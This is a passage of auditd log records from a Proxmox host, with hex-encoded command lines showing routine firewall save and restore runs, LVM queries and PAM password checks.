proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966005410,"@rawstring":"node=pve type=PATH msg=audit(1781966005.410:68048): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.154:62060): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005410,"@rawstring":"node=pve type=PATH msg=audit(1781966005.410:68047): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.154:62059): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005405,"@rawstring":"node=pve type=PATH msg=audit(1781966005.405:68046): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.149:62058): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005405,"@rawstring":"node=pve type=PATH msg=audit(1781966005.405:68046): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665143,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.143:62057): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005405,"@rawstring":"node=pve type=PATH msg=audit(1781966005.405:68046): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665137,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.137:62056): proctitle=\"iptables-save\""} {"@timestamp":1781966005397,"@rawstring":"node=pve type=PATH msg=audit(1781966005.397:68045): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665131,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.131:62055): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005397,"@rawstring":"node=pve type=PATH msg=audit(1781966005.397:68045): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.125:62054): proctitle=\"iptables-save\""} {"@timestamp":1781966005389,"@rawstring":"node=pve type=PATH msg=audit(1781966005.389:68044): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.122:62053): proctitle=\"ebtables-restore\""} {"@timestamp":1781966005389,"@rawstring":"node=pve type=PATH msg=audit(1781966005.389:68044): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665120,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.120:62052): proctitle=\"ebtables-restore\""} {"@timestamp":1781966005379,"@rawstring":"node=pve type=PATH msg=audit(1781966005.379:68043): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665115,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.115:62051): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966005379,"@rawstring":"node=pve type=PATH msg=audit(1781966005.379:68043): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665110,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.110:62050): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966005371,"@rawstring":"node=pve type=PATH msg=audit(1781966005.371:68042): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.105:62049): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966005371,"@rawstring":"node=pve type=PATH msg=audit(1781966005.371:68042): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665100,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.100:62048): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966005363,"@rawstring":"node=pve type=PATH msg=audit(1781966005.363:68040): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665095,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.095:62047): proctitle=697073657400726573746F7265"} {"@timestamp":1781966005363,"@rawstring":"node=pve type=PATH msg=audit(1781966005.363:68040): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665089,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.089:62046): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005355,"@rawstring":"node=pve type=PATH msg=audit(1781966005.355:68039): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.083:62045): proctitle=\"iptables-save\""} {"@timestamp":1781966005355,"@rawstring":"node=pve type=PATH msg=audit(1781966005.355:68039): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665079,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.079:62044): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966005348,"@rawstring":"node=pve type=PATH msg=audit(1781966005.348:68038): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.077:62043): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966005348,"@rawstring":"node=pve type=PATH msg=audit(1781966005.348:68038): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.076:62042): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005340,"@rawstring":"node=pve type=PATH msg=audit(1781966005.340:68037): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.076:62041): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005340,"@rawstring":"node=pve type=PATH msg=audit(1781966005.340:68037): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.071:62040): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005334,"@rawstring":"node=pve type=PATH msg=audit(1781966005.334:68036): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665065,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.065:62039): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005334,"@rawstring":"node=pve type=PATH msg=audit(1781966005.334:68036): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.058:62038): proctitle=\"iptables-save\""} {"@timestamp":1781966005328,"@rawstring":"node=pve type=PATH msg=audit(1781966005.328:68035): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.054:62037): proctitle=69707365740073617665"} {"@timestamp":1781966005328,"@rawstring":"node=pve type=PATH msg=audit(1781966005.328:68035): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.048:62036): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966005320,"@rawstring":"node=pve type=PATH msg=audit(1781966005.320:68034): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964665042,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964665.042:62035): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966005320,"@rawstring":"node=pve type=PATH msg=audit(1781966005.320:68034): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664578,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.578:62034): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966005313,"@rawstring":"node=pve type=PATH msg=audit(1781966005.313:68033): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664547,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.547:62033): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966005313,"@rawstring":"node=pve type=PATH msg=audit(1781966005.313:68033): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.130:62031): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005308,"@rawstring":"node=pve type=PATH msg=audit(1781966005.308:68032): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664128,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.128:62030): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005308,"@rawstring":"node=pve type=PATH msg=audit(1781966005.308:68032): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664091,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.091:62029): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005305,"@rawstring":"node=pve type=PATH msg=audit(1781966005.305:68031): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964664087,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964664.087:62028): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005305,"@rawstring":"node=pve type=PATH msg=audit(1781966005.305:68031): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.512:62026): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005304,"@rawstring":"node=pve type=PATH msg=audit(1781966005.304:68030): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660510,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.510:62025): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005304,"@rawstring":"node=pve type=PATH msg=audit(1781966005.304:68030): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660471,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.471:62024): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005304,"@rawstring":"node=pve type=PATH msg=audit(1781966005.304:68029): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.469:62023): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005299,"@rawstring":"node=pve type=PATH msg=audit(1781966005.299:68028): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.192:62022): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005299,"@rawstring":"node=pve type=PATH msg=audit(1781966005.299:68028): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.192:62021): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005299,"@rawstring":"node=pve type=PATH msg=audit(1781966005.299:68028): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.192:62020): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005291,"@rawstring":"node=pve type=PATH msg=audit(1781966005.291:68027): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.182:62019): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005291,"@rawstring":"node=pve type=PATH msg=audit(1781966005.291:68027): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.182:62018): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005283,"@rawstring":"node=pve type=PATH msg=audit(1781966005.283:68026): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964660182,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964660.182:62017): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966005283,"@rawstring":"node=pve type=PATH msg=audit(1781966005.283:68026): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656891,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.891:62015): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005277,"@rawstring":"node=pve type=PATH msg=audit(1781966005.277:68025): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.887:62014): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005277,"@rawstring":"node=pve type=PATH msg=audit(1781966005.277:68025): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.852:62013): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005268,"@rawstring":"node=pve type=PATH msg=audit(1781966005.268:68024): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.848:62012): proctitle=2F7573722F7362696E2F756E69785F63686B70776400726F6F74006E756C6C6F6B"} {"@timestamp":1781966005268,"@rawstring":"node=pve type=PATH msg=audit(1781966005.268:68024): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656032,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.032:62011): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966005257,"@rawstring":"node=pve type=PATH msg=audit(1781966005.257:68023): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656029,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.029:62010): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966005257,"@rawstring":"node=pve type=PATH msg=audit(1781966005.257:68023): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.028:62009): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PATH msg=audit(1781966005.069:68022): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.028:62008): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PATH msg=audit(1781966005.069:68022): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.024:62007): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PATH msg=audit(1781966005.069:68021): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656019,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.019:62006): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005069,"@rawstring":"node=pve type=PATH msg=audit(1781966005.069:68020): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.013:62005): proctitle=\"iptables-save\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PATH msg=audit(1781966005.062:68019): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656006,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.006:62004): proctitle=\"ip6tables-save\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PATH msg=audit(1781966005.062:68019): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964656000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964656.000:62003): proctitle=\"iptables-save\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PATH msg=audit(1781966005.062:68018): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.997:62002): proctitle=\"ebtables-restore\""} {"@timestamp":1781966005062,"@rawstring":"node=pve type=PATH msg=audit(1781966005.062:68017): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655995,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.995:62001): proctitle=\"ebtables-restore\""} {"@timestamp":1781966004373,"@rawstring":"node=pve type=PATH msg=audit(1781966004.373:68016): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.991:62000): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966004373,"@rawstring":"node=pve type=PATH msg=audit(1781966004.373:68016): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655985,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.985:61999): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966004344,"@rawstring":"node=pve type=PATH msg=audit(1781966004.344:68015): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964655981,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964655.981:61998): 